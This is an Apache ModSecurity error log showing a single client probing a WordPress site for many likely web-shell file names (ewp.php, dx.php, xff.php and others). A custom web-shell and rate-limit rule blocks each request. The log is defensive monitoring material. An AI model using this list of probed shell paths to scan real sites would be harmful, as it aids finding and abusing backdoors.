[Thu Apr 23 16:13:54.944742 2026] [:error] [pid 42973:tid 43050] [client 20.216.153.175:42387] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ewp.php"] [unique_id "aenUwm6I0QqmmmLTHE3D0AAAAIc"]
[Thu Apr 23 16:13:55.891558 2026] [:error] [pid 42972:tid 43032] [client 20.216.153.175:27362] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ewp.php"] [unique_id "aenUw8OAb-3sOknsk4fI0gAAAFA"]
[Thu Apr 23 16:13:56.589299 2026] [:error] [pid 42972:tid 43017] [client 20.216.153.175:15897] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ewp.php"] [unique_id "aenUxMOAb-3sOknsk4fI1wAAAEE"]
[Thu Apr 23 16:13:56.858778 2026] [:error] [pid 46953:tid 46973] [client 20.216.153.175:11510] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ewp.php"] [unique_id "aenUxEnlpdHh-P6wKboGcAAAAlE"]
[Thu Apr 23 16:13:57.460001 2026] [:error] [pid 46953:tid 46963] [client 20.216.153.175:18744] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ewp.php"] [unique_id "aenUxUnlpdHh-P6wKboGcgAAAkc"]
[Thu Apr 23 16:13:57.754311 2026] [:error] [pid 65000:tid 65055] [client 20.216.153.175:25492] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ewp.php"] [unique_id "aenUxb6vRb9j6psK2Za9CAAAAhY"]
[Thu Apr 23 16:13:58.286929 2026] [:error] [pid 64998:tid 65018] [client 20.216.153.175:57963] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/kikikoko.php"] [unique_id "aenUxoV5EysYcTLjmwjq_QAAAdA"]
[Thu Apr 23 16:13:58.502008 2026] [:error] [pid 64998:tid 65022] [client 20.216.153.175:64655] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/kikikoko.php"] [unique_id "aenUxoV5EysYcTLjmwjq_wAAAdQ"]
[Thu Apr 23 16:13:59.132784 2026] [:error] [pid 25635:tid 25656] [client 20.216.153.175:15878] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/kikikoko.php"] [unique_id "aenUx8Rxv6UsgRGKB3IddwAAARE"]
[Thu Apr 23 16:13:59.175774 2026] [:error] [pid 64967:tid 64984] [client 20.216.153.175:12986] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/kikikoko.php"] [unique_id "aenUx4AV4GfOOdX8QzpX_gAAAY8"]
[Thu Apr 23 16:14:00.061915 2026] [:error] [pid 65000:tid 65042] [client 20.216.153.175:59442] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/kikikoko.php"] [unique_id "aenUyL6vRb9j6psK2Za9CwAAAgk"]
[Thu Apr 23 16:14:00.388414 2026] [:error] [pid 65000:tid 65041] [client 20.216.153.175:12960] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/kikikoko.php"] [unique_id "aenUyL6vRb9j6psK2Za9DAAAAgg"]
[Thu Apr 23 16:14:01.196206 2026] [:error] [pid 42973:tid 43059] [client 20.216.153.175:12949] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/kikikoko.php"] [unique_id "aenUyW6I0QqmmmLTHE3D9AAAAJA"]
[Thu Apr 23 16:14:02.557305 2026] [:error] [pid 42973:tid 43051] [client 20.216.153.175:25491] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/kikikoko.php"] [unique_id "aenUym6I0QqmmmLTHE3D_wAAAIg"]
[Thu Apr 23 16:14:02.941351 2026] [:error] [pid 42972:tid 43035] [client 20.216.153.175:47953] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/dx.php"] [unique_id "aenUysOAb-3sOknsk4fI8wAAAFM"]
[Thu Apr 23 16:14:04.567861 2026] [:error] [pid 42972:tid 43027] [client 20.216.153.175:64656] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/dx.php"] [unique_id "aenUzMOAb-3sOknsk4fI-wAAAEs"]
[Thu Apr 23 16:14:05.404376 2026] [:error] [pid 42973:tid 43061] [client 20.216.153.175:5437] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/dx.php"] [unique_id "aenUzW6I0QqmmmLTHE3EEQAAAJI"]
[Thu Apr 23 16:14:05.632490 2026] [:error] [pid 42973:tid 43047] [client 20.216.153.175:27719] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/dx.php"] [unique_id "aenUzW6I0QqmmmLTHE3EEwAAAIQ"]
[Thu Apr 23 16:14:06.661543 2026] [:error] [pid 42972:tid 43030] [client 20.216.153.175:26382] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/dx.php"] [unique_id "aenUzsOAb-3sOknsk4fJCAAAAE4"]
[Thu Apr 23 16:14:07.859229 2026] [:error] [pid 42972:tid 43037] [client 20.216.153.175:18702] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/dx.php"] [unique_id "aenUz8OAb-3sOknsk4fJEAAAAFU"]
[Thu Apr 23 16:14:07.902029 2026] [:error] [pid 42972:tid 43023] [client 20.216.153.175:47937] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/dx.php"] [unique_id "aenUz8OAb-3sOknsk4fJEgAAAEc"]
[Thu Apr 23 16:14:08.689375 2026] [:error] [pid 65000:tid 65045] [client 20.216.153.175:26380] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xff.php"] [unique_id "aenU0L6vRb9j6psK2Za9EgAAAgw"]
[Thu Apr 23 16:14:09.537215 2026] [:error] [pid 42972:tid 43038] [client 20.216.153.175:12979] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/dx.php"] [unique_id "aenU0cOAb-3sOknsk4fJHAAAAFY"]
[Thu Apr 23 16:14:10.269949 2026] [:error] [pid 42972:tid 43024] [client 20.216.153.175:60593] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xff.php"] [unique_id "aenU0sOAb-3sOknsk4fJIAAAAEg"]
[Thu Apr 23 16:14:11.619618 2026] [:error] [pid 64967:tid 64990] [client 20.216.153.175:5176] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xff.php"] [unique_id "aenU04AV4GfOOdX8QzpYAQAAAZU"]
[Thu Apr 23 16:14:12.854910 2026] [:error] [pid 42973:tid 43051] [client 20.216.153.175:60598] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xff.php"] [unique_id "aenU1G6I0QqmmmLTHE3EFwAAAIg"]
[Thu Apr 23 16:14:13.547491 2026] [:error] [pid 46953:tid 46959] [client 20.216.153.175:15033] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xff.php"] [unique_id "aenU1UnlpdHh-P6wKboGdQAAAkM"]
[Thu Apr 23 16:14:13.923115 2026] [:error] [pid 64967:tid 64977] [client 20.216.153.175:21306] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xff.php"] [unique_id "aenU1YAV4GfOOdX8QzpYAgAAAYg"]
[Thu Apr 23 16:14:15.556271 2026] [:error] [pid 42973:tid 43049] [client 20.216.153.175:27771] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xff.php"] [unique_id "aenU126I0QqmmmLTHE3EIQAAAIY"]
[Thu Apr 23 16:14:15.892776 2026] [:error] [pid 59700:tid 59715] [client 20.216.153.175:59398] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xff.php"] [unique_id "aenU15XyGZJFeAIDWtnocQAAAU0"]
[Thu Apr 23 16:14:18.107807 2026] [:error] [pid 42973:tid 43056] [client 20.216.153.175:27731] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/lupo.php"] [unique_id "aenU2m6I0QqmmmLTHE3EMwAAAI0"]
[Thu Apr 23 16:14:19.089082 2026] [:error] [pid 64998:tid 65024] [client 20.216.153.175:5410] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/lupo.php"] [unique_id "aenU24V5EysYcTLjmwjrHAAAAdY"]
[Thu Apr 23 16:14:20.312483 2026] [:error] [pid 42972:tid 43017] [client 20.216.153.175:13957] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/lupo.php"] [unique_id "aenU3MOAb-3sOknsk4fJPQAAAEE"]
[Thu Apr 23 16:14:20.334261 2026] [:error] [pid 42972:tid 43023] [client 20.216.153.175:21269] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/lupo.php"] [unique_id "aenU3MOAb-3sOknsk4fJPgAAAEc"]
[Thu Apr 23 16:14:22.266139 2026] [:error] [pid 42972:tid 43036] [client 20.216.153.175:17862] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/lupo.php"] [unique_id "aenU3sOAb-3sOknsk4fJRAAAAFQ"]
[Thu Apr 23 16:14:22.304189 2026] [:error] [pid 42972:tid 43029] [client 20.216.153.175:27720] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/lupo.php"] [unique_id "aenU3sOAb-3sOknsk4fJRQAAAE0"]
[Thu Apr 23 16:14:23.213600 2026] [:error] [pid 59700:tid 59719] [client 20.216.153.175:53141] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/lupo.php"] [unique_id "aenU35XyGZJFeAIDWtnogQAAAVE"]
[Thu Apr 23 16:14:23.518086 2026] [:error] [pid 42972:tid 43024] [client 20.216.153.175:50764] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/lupo.php"] [unique_id "aenU38OAb-3sOknsk4fJSAAAAEg"]
[Thu Apr 23 16:14:24.505250 2026] [:error] [pid 65000:tid 65057] [client 20.216.153.175:13444] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/awa.php"] [unique_id "aenU4L6vRb9j6psK2Za9GAAAAhg"]
[Thu Apr 23 16:14:24.870626 2026] [:error] [pid 42973:tid 43052] [client 20.216.153.175:5412] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/awa.php"] [unique_id "aenU4G6I0QqmmmLTHE3ERAAAAIk"]
[Thu Apr 23 16:14:25.507146 2026] [:error] [pid 42972:tid 43034] [client 20.216.153.175:14980] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/awa.php"] [unique_id "aenU4cOAb-3sOknsk4fJTAAAAFI"]
[Thu Apr 23 16:14:26.178419 2026] [:error] [pid 42972:tid 43023] [client 20.216.153.175:59452] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/awa.php"] [unique_id "aenU4sOAb-3sOknsk4fJTgAAAEc"]
[Thu Apr 23 16:14:27.270096 2026] [:error] [pid 65000:tid 65049] [client 20.216.153.175:5122] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/awa.php"] [unique_id "aenU476vRb9j6psK2Za9HgAAAhA"]
[Thu Apr 23 16:14:27.365888 2026] [:error] [pid 64998:tid 65012] [client 20.216.153.175:21258] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/awa.php"] [unique_id "aenU44V5EysYcTLjmwjrHwAAAco"]
[Thu Apr 23 16:14:28.182894 2026] [:error] [pid 42972:tid 43021] [client 20.216.153.175:28860] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/awa.php"] [unique_id "aenU5MOAb-3sOknsk4fJUwAAAEU"]
[Thu Apr 23 16:14:30.360966 2026] [:error] [pid 42972:tid 43040] [client 20.216.153.175:53123] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/popo.php"] [unique_id "aenU5sOAb-3sOknsk4fJXgAAAFg"]
[Thu Apr 23 16:14:31.764496 2026] [:error] [pid 42972:tid 43031] [client 20.216.153.175:60560] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/popo.php"] [unique_id "aenU58OAb-3sOknsk4fJZgAAAE8"]
[Thu Apr 23 16:14:33.217356 2026] [:error] [pid 42973:tid 43067] [client 20.216.153.175:21321] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/popo.php"] [unique_id "aenU6W6I0QqmmmLTHE3ETAAAAJg"]
[Thu Apr 23 16:14:34.570702 2026] [:error] [pid 46953:tid 46966] [client 20.216.153.175:50789] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/popo.php"] [unique_id "aenU6knlpdHh-P6wKboGfgAAAko"]
[Thu Apr 23 16:14:38.232927 2026] [:error] [pid 42973:tid 43052] [client 20.216.153.175:61084] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/13.php"] [unique_id "aenU7m6I0QqmmmLTHE3EXgAAAIk"]
[Thu Apr 23 16:14:41.283680 2026] [:error] [pid 64998:tid 65023] [client 20.216.153.175:53137] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/13.php"] [unique_id "aenU8YV5EysYcTLjmwjrKQAAAdU"]
[Thu Apr 23 16:14:41.979564 2026] [:error] [pid 64998:tid 65020] [client 20.216.153.175:12938] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/13.php"] [unique_id "aenU8YV5EysYcTLjmwjrKgAAAdI"]
[Thu Apr 23 16:14:45.159047 2026] [:error] [pid 43083:tid 43086] [client 20.216.153.175:13447] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/13.php"] [unique_id "aenU9TC5hrvNXosL83JSNAAAAME"]
[Thu Apr 23 16:14:59.627762 2026] [autoindex:error] [pid 42972:tid 43029] [client 20.216.153.175:13496] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Requests/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 23 16:15:24.966653 2026] [:error] [pid 65000:tid 65050] [client 20.216.153.175:22793] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/3.php"] [unique_id "aenVHL6vRb9j6psK2Za9YAAAAhE"]
[Thu Apr 23 16:15:25.358718 2026] [:error] [pid 64998:tid 65026] [client 20.216.153.175:20795] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/p.php"] [unique_id "aenVHYV5EysYcTLjmwjrWwAAAdg"]
